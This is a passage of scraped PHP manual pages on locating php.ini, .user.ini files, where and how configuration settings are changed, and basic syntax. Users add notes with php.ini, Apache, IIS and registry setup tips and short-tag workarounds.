Some editors come with '<?' as default, like mine did. After two days I finally found out...
php at chrismonster dot com 27-Jul-2008 10:33
w2k, apache 1.3.29, php 5.2.6: c:\php\php.ini was not found until the environment variable PHPRC was set to "c:\php", even though php was used as a module, not CGI.

just adding c:\php to the path was not adequate.

phpinfo() still shows "Configuration File (php.ini) Path" to be C:\WINNT, but "Loaded Configuration File" now correctly displays "C:\php\php.ini".

initially the problem appeared to be simply that the mysql extension was not loading; in fact, the problem was more fundamental (php.ini not found) but because php will still work with defaults, this was not obvious.
pg_vlad at hotmail dot com 01-Jul-2008 09:41
On my Debian system I wrestled with something similar after apt-get ting updates for PHP and MYSQL, turns out the apt-get install worked great but broke my libphp module under apache. Once this module was deleted, I was able to rebuild it under PHP using ./configure

All works well now.
Anonymous 06-Feb-2008 02:03
Hello,

Having tried EVERYTHING on every php / mysql site to get php5.2.5 to talk to mysql server 5.0 (including all php.ini settings, all dlls, and many more ...)

Please try this: set Apache2.2 service Startup Type to MANUAL.  If not, it does not see to reload php.ini, no matter how many times you stop and start.

After 2 days, I finally see mysql info for <?php phpinfo(); ?>

Hope this helps!!
DK
jaw at jawspeak dot com - Jonathan Andrew Wolte 25-Jun-2007 05:01
Be sure to use double quotes in the php.ini file. For instance:

(lines broken for readability)

this will work:
# xdebug debugging
zend_extension="/usr/local/php5/lib/php/extensions
/no-debug-non-zts-20060613/xdebug.so"

this won't:
# xdebug debugging
zend_extension='/usr/local/php5/lib/php/extensions
/no-debug-non-zts-20060613/xdebug.so'

You'll get this error:
Failed loading '/usr/local/php5/lib/php/extensions/
no-debug-non-zts-20060613/xdebug.so':  (null)

So... double quotes are the way! I know this is obvious, but it's a good thing to remember for the php.ini file.
alvaro at demogracia dot com 16-Jun-2007 05:01
About Apache 2.0 module:

For whatever reason, the Windows installer for PHP/5.2.3 tries to set the PHPIniDir directive using "\\" as directory separator:

PHPIniDir "C:\\Archivos de programa\\PHP\\"

It didn't work for me until I edited httpd.conf and replaced it with "/":

PHPIniDir "C:/Archivos de programa/PHP/"
henrick at streamsec dot se 01-Apr-2007 05:07
In order to get PHP 5.2 stable running on Windows Server 2003 x64 (IIS 6.0), I discovered three things (in addition to the other comments above):

* Some PHP web applications make use of the SCRIPT_NAME server variable which is not available under CGI. You have to use php5isapi.dll, which is a 32 bit dll, so you have to run IIS in 32 bit mode. Confer http://support.microsoft.com/kb/894435. This applies to all ISAPI extensions and not just ASP.NET.

* It appears you must leave the doc_root entry in php.ini blank. At least, that is what finally made my installation work. (Note that others have suggested to set it to e.g. C:\inetpub\wwwroot or equivalent. That won't work if your server hosts more than one domain, each placed in a separate directory.)

* If you are e.g. using MySQL you will have to edit php.ini. In order for it to be found, you must set the PHPRC system environment variable or the registry entry. Note that if you edit the registry using regedit.exe, the PHP key should be placed under the [HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node] key. This happens automatically if you set it using a 32 bit legacy application.
gprochnow AT PINT DOT COM 29-Mar-2007 12:19
Run php 4 and php 5.2.x on the same machine with IIS 6.0 as ISAPI.

1. Extract the ZIP packages of both php 4 & php 5 (not the Windows Installer) to c:\php4 & c:\php5 respectively

2. Setup the corresponding php.ini files in c:\php4 and c:\php5

3. Add the Web Service Extensions for php4 and php5. For php4 use c:\php4\sapi\php4isapi.dll, php5 use c:\php5\php5isapi.dll

4. Add the following registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\PHP\5\IniFilePath -> c:\php5

HKEY_LOCAL_MACHINE\SOFTWARE\PHP\IniFilePath -> c:\php4

5. Add c:\php4 to the PATH environment variable.

6. Associate each web site in IIS with the corresponding php version.

7. Reboot

Note: That should work, test with phpinfo() in each site. You may need to refer to the php documentation if we missed any other settings.
cduke420 at gmail dot com 07-Jan-2007 10:16
[ When php run as Apache Module ]
DOCUMENT_ROOT .htaccess
+======================================+
SetEnv PHPRC /home/user/dir-containing-phpinifile
+======================================+

[ When php run as CGI ]
Place your php.ini file in the dir of your cgi'd php binary, in this case /cgi-bin/
DOCUMENT_ROOT .htaccess
+======================================+
AddHandler php-cgi .php .htm
Action php-cgi /cgi-bin/php5.cgi
+======================================+

[ PHP run as cgi with wrapper (for FastCGI) ]
Your wrapper script should look something like:
+======================================+
#!/bin/sh
export PHP_FCGI_CHILDREN=3
exec /user/htdocs/cgi-bin/php.cgi -c /home/user/php.ini
+======================================+

original article:
http://www.askapache.com/2007/php/custom-phpini-tips-and-tricks.html
Alonso 18-Nov-2006 04:21
Setting php.ini location for PHP working as Apache module (without use SetEnv directive in httpd.conf):

Before start Apache, set the PHPRC environment variable to the path where php.ini should be loaded, for example:

    PHPRC=/etc/php4/apache-another-path
    export PHPRC

In Debian we can do this way:

    In /etc/init.d/apache (the script that loads apache web server) we have this line:

    ENV="env -i LANG=C PATH=/bin:/usr/bin:/usr/local/bin"

    Set to this:

    ENV="env -i LANG=C PATH=/bin:/usr/bin:/usr/local/bin PHPRC=/etc/php4/apache-another-path"

Then wen you reload apache the php.ini will be loaded in the directory configured in PHPRC environment variable.
Trevor Blackbird > yurab.com 11-Apr-2006 03:50
You can use also use the predefined PHP_SAPI constant instead of php_sapi_name().
c dot affolter at stepping-stone dot ch 13-Mar-2006 05:38
For those people who want to use the PHPRC environment variable:
You have to specify the path to the directory containing your php.ini, not the direct path to the php.ini.

Example (php.ini resides in /your/path/php.ini):
right:
export PHPRC=/your/path

wrong:
export PHPRC=/your/path/php.ini
randy AT rcs-comp DOT com 26-May-2005 12:47
(copied from another page)
Please note that the SetEnv PHPRC "directory/to/phpini/" only works when using PHP as CGI, but _not_ when you use the PHP Apache Module!
Jorrit Schippers 26-May-2004 04:33
For IIS users: If you experience high parsetimes, try to set output_buffering to On. IIS has problems with scripts outputting many small pieces of text, and with output_buffering = On, PHP sends the whole page to IIS in one piece.
Bug reports
The configuration file
Installation and Configuration


The configuration file

The configuration file (php.ini) is read when PHP starts up. For the server module versions of PHP, this happens only once when the web server is started. For the CGI and CLI versions, it happens on every invocation.

php.ini is searched for in these locations (in order):

  • SAPI module specific location (PHPIniDir directive in Apache 2, -c command line option in CGI and CLI, php_ini parameter in NSAPI, PHP_INI_PATH environment variable in THTTPD)
  • The PHPRC environment variable. Before PHP 5.2.0, this was checked after the registry key mentioned below.
  • As of PHP 5.2.0, the location of the php.ini file can be set for different versions of PHP. The following registry keys are examined in order: [HKEY_LOCAL_MACHINE\SOFTWARE\PHP\x.y.z], [HKEY_LOCAL_MACHINE\SOFTWARE\PHP\x.y] and [HKEY_LOCAL_MACHINE\SOFTWARE\PHP\x], where x, y and z mean the PHP major, minor and release versions. If there is a value for IniFilePath in any of these keys, the first one found will be used as the location of the php.ini (Windows only).
  • [HKEY_LOCAL_MACHINE\SOFTWARE\PHP], value of IniFilePath (Windows only).
  • Current working directory (except CLI).
  • The web server's directory (for SAPI modules), or directory of PHP (otherwise in Windows).
  • Windows directory (C:\windows or C:\winnt) (for Windows), or --with-config-file-path compile time option.

If php-SAPI.ini exists (where SAPI is the SAPI in use, so, for example, php-cli.ini or php-apache.ini), it is used instead of php.ini. The SAPI name can be determined with php_sapi_name().

Note:

The Apache web server changes the directory to root at startup, causing PHP to attempt to read php.ini from the root filesystem if it exists.

The php.ini directives handled by extensions are documented on the respective pages of the extensions themselves. A list of the core directives is available in the appendix. Not all PHP directives are necessarily documented in this manual: for a complete list of directives available in your PHP version, please read your well commented php.ini file. Alternatively, you may find » the latest php.ini from SVN helpful too.

Example #1 php.ini example

; any text on a line after an unquoted semicolon (;) is ignored
[php] ; section markers (text within square brackets) are also ignored
; Boolean values can be set to either:
;    true, on, yes
; or false, off, no, none
register_globals = off
track_errors = yes

; you can enclose strings in double-quotes
include_path = ".:/usr/local/lib/php"

; backslashes are treated the same as any other character
include_path = ".;c:\php\lib"

Since PHP 5.1.0, it is possible to refer to existing .ini variables from within .ini files. Example: open_basedir = ${open_basedir} ":/new/dir".

User Contributed Notes

Hayley Watson 08-May-2010 03:53
"Since PHP 5.1.0, it is possible to refer to existing .ini variables from within .ini files."

If you have several configurations that you switch between (say development/testing/staging), or there is some other reason why several settings scattered through the .ini file might need to be changed all together on occasion, then combining this with a custom block can bring all the bits that need changing into one place:

[Customization]
custom.mode = "development"
custom.display_errors = "on"
custom.error_reporting = 30719

[PHP]
;;;;;;;;;;;;;;;;;;;
; About php.ini   ;
....

And then refer to these variables in the rest of the file:

custom.session.save_path = "/tmp/"${custom.mode}

Bringing all the changes into one location in the file is often of immense benefit.

---

Unfortunately, variable names cannot (yet) be nested. Otherwise one could have one .ini file with several customisation blocks, and a single variable to choose which set of variables to use:

[Customization]
custom.mode = "development"

[Customization Development]
custom.development.display_errors = on

[Customization Production]
custom.development.display_errors = off

...

display_errors = ${custom.${custom.mode}.display_errors}
prjorgen at gmail dot com 06-Apr-2009 01:42
Something to note which is not well documented is that when you are specifying the path, it is JUST the path that is needed - not the path and filename. In the registry locations, you need to just put the folder path (e.g. C:\PHP\) and not the full path to the INI file (e.g. C:\PHP\php.ini). This will particularly save you some headaches if you are trying to run multiple versions of PHP on one server!
Runtime Configuration
.user.ini files
Runtime Configuration


.user.ini files

Since PHP 5.3.0, PHP includes support for .htaccess-style INI files on a per-directory basis. These files are processed only by the CGI/FastCGI SAPI. This functionality obsoletes the PECL htscanner extension. If you are using Apache, use .htaccess files for the same effect.

In addition to the main php.ini file, PHP scans for INI files in each directory, starting with the directory of the requested PHP file, and working its way up to the current document root (as set in $_SERVER['DOCUMENT_ROOT']). In case the PHP file is outside the document root, only its directory is scanned.

Only INI settings with the modes PHP_INI_PERDIR and PHP_INI_USER will be recognized in .user.ini-style INI files.

Two new INI directives, user_ini.filename and user_ini.cache_ttl control the use of user INI files.

user_ini.filename sets the name of the file PHP looks for in each directory; if set to an empty string, PHP doesn't scan at all. The default is .user.ini.

user_ini.cache_ttl controls how often user INI files are re-read. The default is 300 seconds (5 minutes).

User Contributed Notes

Dolphyn 27-Apr-2011 07:43
As of PHP 5..3.6, applicable .user.ini files are *not* listed or identified in phpinfo() output.

A .user.ini file can be in effect even when phpinfo() shows "additional .ini files parsed: (none)"
interfaSys 05-Jan-2011 10:12
This article should be made clearer.
".htaccess-style INI files" meant to me that the ini settings had to follow the syntax used in .htaccess, but this is not the case!

You have to use
register_globals=on
and not
php_flag register_globals on

Also, the changes can take a while to propagate to all processes if you have a long process time out.
Restarting php-fpm can give you an answer quicker :)
showerheadsuk at hotmail dot com 14-Oct-2010 03:18
Currently .user.ini files aren't read when using php-fpm, instead you can use [HOST] and [PATH] sections in your main php.ini to set per directory and per domain settings: http://us3.php.net/manual/en/ini.sections.php
The configuration file
Where a configuration setting may be set
Runtime Configuration


Where a configuration setting may be set

These modes determine when and where a PHP directive may or may not be set, and each directive within the manual refers to one of these modes. For example, some settings may be set within a PHP script using ini_set(), whereas others may require php.ini or httpd.conf.

For example, the output_buffering setting is PHP_INI_PERDIR therefore it may not be set using ini_set(). However, the display_errors directive is PHP_INI_ALL therefore it may be set anywhere, including with ini_set().

Definition of PHP_INI_* modes
Mode | Meaning
PHP_INI_USER | Entry can be set in user scripts (like with ini_set()) or in the Windows registry
PHP_INI_PERDIR | Entry can be set in php.ini, .htaccess or httpd.conf
PHP_INI_SYSTEM | Entry can be set in php.ini or httpd.conf
PHP_INI_ALL | Entry can be set anywhere

User Contributed Notes

There are no user contributed notes for this page.
.user.ini files
How to change configuration settings
Runtime Configuration


How to change configuration settings

Running PHP as an Apache module

When using PHP as an Apache module, you can also change the configuration settings using directives in Apache configuration files (e.g. httpd.conf) and .htaccess files. You will need "AllowOverride Options" or "AllowOverride All" privileges to do so.

There are several Apache directives that allow you to change the PHP configuration from within the Apache configuration files. For a listing of which directives are PHP_INI_ALL, PHP_INI_PERDIR, or PHP_INI_SYSTEM, have a look at the List of php.ini directives appendix.

php_value name value

Sets the value of the specified directive. Can be used only with PHP_INI_ALL and PHP_INI_PERDIR type directives. To clear a previously set value use none as the value.

Note: Don't use php_value to set boolean values. php_flag (see below) should be used instead.

php_flag name on|off

Used to set a boolean configuration directive. Can be used only with PHP_INI_ALL and PHP_INI_PERDIR type directives.

php_admin_value name value

Sets the value of the specified directive. This can not be used in .htaccess files. Any directive type set with php_admin_value can not be overridden by .htaccess or ini_set(). To clear a previously set value use none as the value.

php_admin_flag name on|off

Used to set a boolean configuration directive. This can not be used in .htaccess files. Any directive type set with php_admin_flag can not be overridden by .htaccess or ini_set().

Example #1 Apache configuration example

<IfModule mod_php5.c>
  php_value include_path ".:/usr/local/lib/php"
  php_admin_flag engine on
</IfModule>
<IfModule mod_php4.c>
  php_value include_path ".:/usr/local/lib/php"
  php_admin_flag engine on
</IfModule>

Caution

PHP constants do not exist outside of PHP. For example, in httpd.conf you can not use PHP constants such as E_ALL or E_NOTICE to set the error_reporting directive as they will have no meaning and will evaluate to 0. Use the associated bitmask values instead. These constants can be used in php.ini

Changing PHP configuration via the Windows registry

When running PHP on Windows, the configuration values can be modified on a per-directory basis using the Windows registry. The configuration values are stored in the registry key HKLM\SOFTWARE\PHP\Per Directory Values, in the sub-keys corresponding to the path names. For example, configuration values for the directory c:\inetpub\wwwroot would be stored in the key HKLM\SOFTWARE\PHP\Per Directory Values\c\inetpub\wwwroot. The settings for the directory would be active for any script running from this directory or any subdirectory of it. The values under the key should have the name of the PHP configuration directive and the string value. PHP constants in the values are not parsed. However, only configuration values changeable in PHP_INI_USER can be set this way, PHP_INI_PERDIR values can not.

Other interfaces to PHP

Regardless of how you run PHP, you can change certain values at runtime of your scripts through ini_set(). See the documentation on the ini_set() page for more information.

If you are interested in a complete list of configuration settings on your system with their current values, you can execute the phpinfo() function, and review the resulting page. You can also access the values of individual configuration directives at runtime using ini_get() or get_cfg_var().

User Contributed Notes

Anonymous 03-Jan-2012 08:15
For Mac users (Leopard/Tiger/Lion) it's worth knowing exactly where your httpd.conf and php.ini ares picked up, but, out of the box, these are defined only in the compiler settings as defaults.

The httpd binary was compiled with default settings of
SERVER_CONFIG_FILE="/private/etc/apache2/httpd.conf"
meaning starting apache using apachectl picks up this httpd.conf without it being specified on the command line via the org.apache.httpd.plist file is /System/Library/LaunchDaemons.

Again, the default httpd.conf does not contain a PHPIniDir, and locates php.ini via libphp5.so in /etc - you would need to create one here (using one of the php.ini.default templates if you want).

It's worth changing the PHPIniDir setting in httpd.conf setting to eg.:

Configuration File     /usr/local/php5/lib/php.ini

so you know exactly which php.ini is being used at all times.

phpinfo() will then advise you that it's using this file.
user at NOSPAM dot example dot com 13-Sep-2011 11:16
PHP Constants will work with php_value; for example:

php_value error_reporting 30711 #bitmask is the same as
php_value error_reporting "E_ALL & ~E_STRICT & ~E_NOTICE" #string of constants
rohitkumar at cftechno dot com 29-Jun-2011 12:23
Open php.ini from c:/php in your text editor

If you installed Apache in the default location, the path should
be "C:\Program Files\Apache Software Foundation\Apache2.2\htdocs". If you installed
it elsewhere, find the htdocs folder and type its path:

doc_root = "C:\Program Files\Apache Software Foundation\Apache2.2\htdocs"

Just a little further down in the file, look for the line that begins with remove the semicolon from the start of the extension_
dir, and set it so that it points to the ext subfolder of your PHP folder:
extension_dir = "C:\PHP\ext"

These are optional extensions to PHP, disabled by default. We
want to enable the MySQL extension so that PHP can communicate with MySQL.
To do this, remove the semicolon from the start of the php_mysqli.dll line:
extension=php_mysqli.dll

note - php_mysqli, not php_mysql

Keep scrolling even further down in the file, and look for a line that starts with
;session.save_path. Once again, remove the semicolon to enable this line,
and set it to your Windows Temp folder:
session.save_path = "C:\Windows\Temp"

Browse to the conf subfolder in your Apache
installation folder (by default, C:\Program Files\Apache Software
Foundation\Apache2.2\conf), and select the httpd.conf file located there. In order
to make this file visible for selection, you’ll need to select All Files (*.*) from the
file type drop-down menu at the bottom of the Open window.
Look for the existing line in this file that begins with DirectoryIndex, shown
here:
<IfModule dir_module>
DirectoryIndex index.html
</IfModule>

This line tells Apache which filenames to use when it looks for the default page
for a given directory. Add index.php to the end of this line:
<IfModule dir_module>
DirectoryIndex index.html index.php
</IfModule>

All of the remaining options in this long and intimidating configuration file
should have been set up correctly by the Apache install program. All you need
to do is add the following lines to the very end of the file:

LoadModule php5_module "C:/PHP/php5apache2_2.dll"
AddType application/x-httpd-php .php
PHPIniDir "C:/PHP"

Make sure the LoadModule and PHPIniDir lines point to your PHP installation
directory, and note the use of forward slashes (/) instead of backslashes (\) in
the paths.

Save your changes and Restart Apache using the Apache Service Monitor system tray icon. If all is
well, Apache will start up again without complaint.
fay at prospekt-omsk dot ru 31-Jan-2011 12:52
x64 based Windows registry path is

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\PHP\Per Directory Values
self at pabloviquez dot com 14-Jun-2009 06:07
Note that, changing the PHP configuration via the windows registry will set the new values using php_admin_value. This makes that you cannot override them on runtime.

So for example, if you set the include_path on the windows registry and then you call the set_include_path function in your application, it will return false and won't change the include_path.
cawoodm at gmail dot com 04-May-2009 07:41
With IIS it can become confusing that changes to php.ini are ineffective. It seems it is necessary to restart the application pool for the changes to be seen. It would be great if this was not necessary - I am sure I have worked with systems where php.ini changes were immediately effectvie.
ravi at syntric dot net 08-Mar-2009 10:52
Just a quick note regarding per-directory php settings. A number of flags can be set custom to a particular app's requirement based on one of two methods describe her http://www.cognitivecombine.com/?p=207

I particularly stumbled upon this to turn off register_globals. Drupal, for e.g., required this to be off but I knew of numerous php apps that had code which relied on these globals. The .htaccess method described in the above URL worked for my case.
hyponiq at gmail dot com 09-Feb-2009 09:11
Running PHP under Apache poses a major problem when it comes to per-directory configuration settings for PHP.  In Apache virtual hosting, only a master PHP configuration file (i.e. php.ini) is parsed at run-time per PHP script.  Under IIS 6.0 or greater, you can include per-directory PHP configuration files to override or overwrite the master configuration settings.  The issue here, however, is having Apache virtual hosts override/overwrite master settings; not what IIS can do.

So, there are two possible solutions.  The first solution is described in this section and uses the Apache configuration settings php_value, php_flag, php_admin_value, and php_admin_flag.  In that, each virtual host which you'd like to have certain configuration settings changed must have these directives set (and that is for each PHP configuration setting).  This, to me, is the more viable solution, although it is time-consuming and mentally taxing.

The other possible solution is to set the PHPRC environment variable.  To my knowledge, all implementations of Apache HTTPD allow for the SetEnv directive to set the PHPRC variable per-virtual-host.  What that does is tell PHP to look in the specified location for that virtual host's configuration settings file (i.e. "C:/path/to/custom/php.ini").  The only downside to this tactic is that EVERY virtual host's custom php.ini file must contain all set parameters.  In other words, every single PHP configuration directive you have set in the master php.ini file must ALSO be set in per-virtual-host configuration settings.  Doesn't that suck?  It seems rather redundant to me (and completely defeats the purpose) that you have to include all configuration settings OVER AND OVER AGAIN.

The great thing about per-directory configuration settings (when they're implemented correctly) is that PHP already has the master settings pre-loaded and the per-directory settings (which may only ammount to one directive in difference) can be loaded per request and, thus, there is less over-head.

There really is more to this topic than that, which is why I blogged a rather lengthy and detailed article here: http://hyponiq.blogspot.com/2009/02/apache-php-multiple-phpini.html  This information is meant to help users and administrators.  I highly suggest it be read if anyone has any questions on Apache and PHP configurations.  I have included some examples that illustrate the two possible solutions, as well.  I did my best to research everything before I wrote the article.

I hope this helps!

==== 10-FEB-09: ====
I must add a little more information:

I've done some thorough testing on my PC as to the PHPRC environment variable set by the Apache directive SetEnv.  It seems to me that this variable is completely disregarded using that directive.  I tried everything and can only come to the conclusion that either A) I did something very wrong, or B) that it simply doesn't work as expected.

The former solution, however, does work magically!  So, to expand on my previous post, the only real and viable solution to this problem is to use the php_value, php_flag, php_admin_value and php_admin_flag directives in your virtual hosts configurations.

Once again, it can be very boring!  But it does work.
ludek dot stepan at gmail dot com 25-Sep-2008 04:37
Hello,

I've found this directive useful for setting per-file php.ini options. For example, when I want to have my .css styles processed as php scripts, I put this code into .htaccess to setup correct mimetype.

AddHandler php5-script .css
<FilesMatch "\.css$">
    php_value default_mimetype "text/css"
</FilesMatch>

Yours Ludek
contrees.du.reve at gmail dot com 02-Feb-2008 05:25
Being able to put php directives in httpd.conf and have them work on a per-directory or per-vitual host basis is just great. Now there's another aspect which might be worth being aware of:

A php.ini directive put into your apache conf file applies to php when it runs as an apache module (i.e. in a web page), but NOT when it runs as CLI (command-line interface).

Such feature that might be unwanted by an unhappy few, but I guess most will find it useful. As far as I'm concerned, I'm really happy that I can use open_basedir in my httpd.conf file, and it restricts the access of web users and sub-admins  of my domain, but it does NOT restrict my own command-line php scripts...
webmaster at htaccesselite dot com 11-Jul-2007 08:18
To change the configuration for php running as cgi those handy module commands won't work.. The work-around is being able to tell php to start with a custom php.ini file.. configured the way you want.

 With multiple custom php.ini files
-------------------------------------------
/site/ini/1/php.ini
/site/ini/2/php.ini
/site/ini/3/php.ini
--

The trick is creating a wrapper script to set the location of the php.ini file that php will use. Then it exec's the php cgi.

 shell script /cgi-bin/phpini.cgi
-------------------------------------------
#!/bin/sh
export PHPRC=/site/ini/1
exec /cgi-bin/php5.cgi
--

Now all you have to do is setup Apache to run php files through the wrapper script instead of just executing the php cgi.

 In your .htaccess or httpd.conf file
-------------------------------------------
AddHandler php-cgi .php
Action php-cgi /cgi-bin/phpini.cgi
--

So to change the configuration of php you just need to change the PHPRC variable to point to a different directory containing your customized php.ini.. You could also create multiple shell wrapper scripts and create multiple Handler's+Actions in .htaccess..

 in your .htaccess
-------------------------------------------
AddHandler php-cgi1 .php1
Action php-cgi1 /cgi-bin/phpini-1.cgi

AddHandler php-cgi2 .php2
Action php-cgi2 /cgi-bin/phpini-2.cgi

AddHandler php-cgi3 .php3
Action php-cgi3 /cgi-bin/phpini-3.cgi
--

The only caveat here is that it seems like you would have to rename the file extensions, but there are ways around that too ->
http://www.askapache.com/php/custom-phpini-tips-and-tricks.html
Woody/mC 09-Jul-2007 06:09
@ pgl: As the documentation says:

"To clear a previously set value use none as the value."

Works fine for me.
pgl at yoyo dot org 27-Jun-2007 03:59
It is not possible to unset a config option using php_value. This caused me problems with auto_prepend_file settings where I wanted to have a global file auto included, with an exception for only one site. The solution used to be to use auto_prepend_file /dev/null, but this now causes errors, so I just create and include blank.inc now instead.
Where a configuration setting may be set
Language Reference
Runtime Configuration


Language Reference

  • Basic syntax
    • Escaping from HTML
    • Instruction separation
    • Comments
  • Types
    • Introduction
    • Booleans
    • Integers
    • Floating point numbers
    • Strings
    • Arrays
    • Objects
    • Resources
    • NULL
    • Pseudo-types and variables used in this documentation
    • Type Juggling
  • Variables
    • Basics
    • Predefined Variables
    • Variable scope
    • Variable variables
    • Variables From External Sources
  • Constants
    • Syntax
    • Magic constants
  • Expressions
  • Operators
    • Operator Precedence
    • Arithmetic Operators
    • Assignment Operators
    • Bitwise Operators
    • Comparison Operators
    • Error Control Operators
    • Execution Operators
    • Incrementing/Decrementing Operators
    • Logical Operators
    • String Operators
    • Array Operators
    • Type Operators
  • Control Structures
    • Introduction
    • if
    • else
    • elseif/else if
    • Alternative syntax for control structures
    • while
    • do-while
    • for
    • foreach
    • break
    • continue
    • switch
    • declare
    • return
    • require
    • include
    • require_once
    • include_once
    • goto
  • Functions
    • User-defined functions
    • Function arguments
    • Returning values
    • Variable functions
    • Internal (built-in) functions
    • Anonymous functions
  • Classes and Objects
    • Introduction
    • The Basics
    • Properties
    • Class Constants
    • Autoloading Classes
    • Constructors and Destructors
    • Visibility
    • Object Inheritance
    • Scope Resolution Operator (::)
    • Static Keyword
    • Class Abstraction
    • Object Interfaces
    • Traits
    • Overloading
    • Object Iteration
    • Patterns
    • Magic Methods
    • Final Keyword
    • Object Cloning
    • Comparing Objects
    • Type Hinting
    • Late Static Bindings
    • Objects and references
    • Object Serialization
    • OOP Changelog
  • Namespaces
    • Namespaces overview
    • Defining namespaces
    • Declaring sub-namespaces
    • Defining multiple namespaces in the same file
    • Using namespaces: Basics
    • Namespaces and dynamic language features
    • namespace keyword and __NAMESPACE__ constant
    • Using namespaces: Aliasing/Importing
    • Global space
    • Using namespaces: fallback to global function/constant
    • Name resolution rules
    • FAQ: things you need to know about namespaces
  • Exceptions
    • Extending Exceptions
  • References Explained
    • What References Are
    • What References Do
    • What References Are Not
    • Passing by Reference
    • Returning References
    • Unsetting References
    • Spotting References
  • Predefined Variables
    • Superglobals — Superglobals are built-in variables that are always available in all scopes
    • $GLOBALS — References all variables available in global scope
    • $_SERVER — Server and execution environment information
    • $_GET — HTTP GET variables
    • $_POST — HTTP POST variables
    • $_FILES — HTTP File Upload variables
    • $_REQUEST — HTTP Request variables
    • $_SESSION — Session variables
    • $_ENV — Environment variables
    • $_COOKIE — HTTP Cookies
    • $php_errormsg — The previous error message
    • $HTTP_RAW_POST_DATA — Raw POST data
    • $http_response_header — HTTP response headers
    • $argc — The number of arguments passed to script
    • $argv — Array of arguments passed to script
  • Predefined Exceptions
    • Exception
    • ErrorException
  • Predefined Interfaces
    • Traversable — The Traversable interface
    • Iterator — The Iterator interface
    • IteratorAggregate — The IteratorAggregate interface
    • ArrayAccess — The ArrayAccess interface
    • Serializable — The Serializable interface
    • Closure — The Closure class
  • Context options and parameters
    • Socket context options — Socket context option listing
    • HTTP context options — HTTP context option listing
    • FTP context options — FTP context option listing
    • SSL context options — SSL context option listing
    • CURL context options — CURL context option listing
    • Phar context options — Phar context option listing
    • Context parameters — Context parameter listing
  • Supported Protocols and Wrappers
    • file:// — Accessing local filesystem
    • http:// — Accessing HTTP(s) URLs
    • ftp:// — Accessing FTP(s) URLs
    • php:// — Accessing various I/O streams
    • zlib:// — Compression Streams
    • data:// — Data (RFC 2397)
    • glob:// — Find pathnames matching pattern
    • phar:// — PHP Archive
    • ssh2:// — Secure Shell 2
    • rar:// — RAR
    • ogg:// — Audio streams
    • expect:// — Process Interaction Streams

User Contributed Notes

There are no user contributed notes for this page.
How to change configuration settings
Basic syntax


Basic syntax

Table of Contents

  • Escaping from HTML
  • Instruction separation
  • Comments

User Contributed Notes

php_engineer_bk at yahoo dot com 29-Sep-2010 10:42
all syntax:

<?php
if($true)
{
    echo "true";
}
else
{
    echo "false";
}
?>

<?php
if($true)
   echo "true";
else
    echo "false";
?>

<?php
if($true):
    echo "true";
else
    echo "false";
endif;
?>

Iranian php programming(farhad zandmoghadam)
mattsch at gmail dot com 25-Jun-2008 01:46
Less is more.  The shortest and easiest way to deal with the xml tag problem assuming short tags is enabled and you don't care to listen to people who want you to always use the full php tag is this:

<<??>?xml version="1.0" encoding="utf-8"?>
KOmaSHOOTER at gmx dot de 28-Dec-2007 07:36
you also can use this kind of syntax:

<?php if( condition ): ?>

<?php else: ?>

<?php endif; ?>
Tona at spikesource dot com 03-May-2007 03:22
Jascam: Try to find more resourceful information to make your point. Your lack of ability to understand more complex concepts is not enough to diminish such a popular language as PHP. Note also that php is not replacing html but complementing it.
madman 17-Apr-2007 08:45
As rosswilliams mentioned;  The example breaking in and out of the PHP tags doesn't "work as expected".  The manual and some comments mention that PHP "simply starts outputting whatever it finds..." any time a closing tag is encountered.  It would make sense to say instead - "...unless PHP is in the middle of a conditional statement; in which case it will only output the relevant block of HTML."

Some have said that using the 'echo' command is cleaner and more  efficient.  However, as the manual points out, the method of breaking out of PHP is more efficient when dealing with large sections of HTML.  Because there is less work for the parser.
Geekman at Textbook Torrents dot com 04-Mar-2007 05:19
Regarding the comment by rosswilliams at advocacytechnologies dot org:

Your suspicion is correct. The following all behave exactly the same:

<?php

// output the answer by escaping
if ($true_or_false) {
    ?>
    <p>The value of $true_or_false is true.</p>
    <?php
} else {
    ?>
    <p>The value of $true_or_false is false.</p>
    <?php
}

// use echo to do the same thing - more effecient and easier to read in my opinion
if ($true_or_false) {
    echo '<p>The value of $true_or_false is true.</p>';
} else {
    echo '<p>The value of $true_or_false is false.</p>';
}

// use ? : operators on entire string
echo ($true_or_false) ? '<p>The value of $true_or_false is true.</p>' : '<p>The value of $true_or_false is false.</p>';

// use ? : operators only on the pertinent bit, to save space
echo '<p>The value of $true_or_false is ' . (($true_or_false) ? 'true' : 'false') . '.</p>';

?>
alfridus 23-Jul-2006 04:53
Only this work:

<?php
$xml = '<?xml version="1.0" encoding="UTF-8" standalone="no"?>';
echo $xml;
 ?>

with space after '<?php' and before ' ?>', no spacing between
'<?xml' and a semicolon after '"no"?>';'.
brettz9 at yahoo dot com 02-Apr-2006 08:04
I've essentially tried to synthesize this
discussion at
http://en.wikibooks.org/wiki/Programming:
Complete_PHP/Escaping_from_HTML

One point not brought up yet...

The HEREDOC problem with some text editors
may be fixable in at least some text editors
by adding a comment with a quotation mark
as such afterwards (albeit necessarily on a
new line):

<?php

$version = "1.0";

print <<<HERE
<?xml version="
HERE;
//"

print $version."\"?>";

?>
Christoph 16-Jan-2006 05:08
Here's an inspiration on how to quickly fix all scripts relying on short_open_tag being enabled:

find -name '*.php' | xargs perl -pi -e 's/<\?= ?(.*?) ?\?>/<?php echo($1); ?>/g'
find -name '*.php' | xargs perl -pi -e 's/<\?/<?php/g'
find -name '*.php' | xargs perl -pi -e 's/<\?phpphp/<?php/g'
Michael Newton (http://mike.eire.ca/) 12-Dec-2005 03:17
The XML declaration does not need to be handled specially.

You should output it via an echo statement, in case your code is ever used on a server that is (poorly) configured to use short open tags.

But there's no need to treat the ?> at the end of the string specially.  That's because it's in a string.  The only thing PHP ever looks for in a string is \ or $ (the latter only in double-quoted strings.)

I have never had need for the following, as some have suggested below:

<?php
$xml=rawurldecode('%3C%3Fxml%20version%3D%221.0%22%3F%3E');
echo($xml);
?>

<?php echo '<?xml version="1.0" ?'.'>' ?>

<?php echo "<?xml version=\"1.0\"\x3F>" ?>
php [AT] jsomers [DOT] be 23-Sep-2005 12:37
PEAR states:

Always use <?php ?> to delimit PHP code, not the <? ?> shorthand. This is required for PEAR compliance and is also the most portable way to include PHP code on differing operating systems and setups.

It are these small things that enhance readability in group projects, or libraries.
pablo [] littleQ.net 24-Jul-2005 02:06
Just another more "feature" of IE...

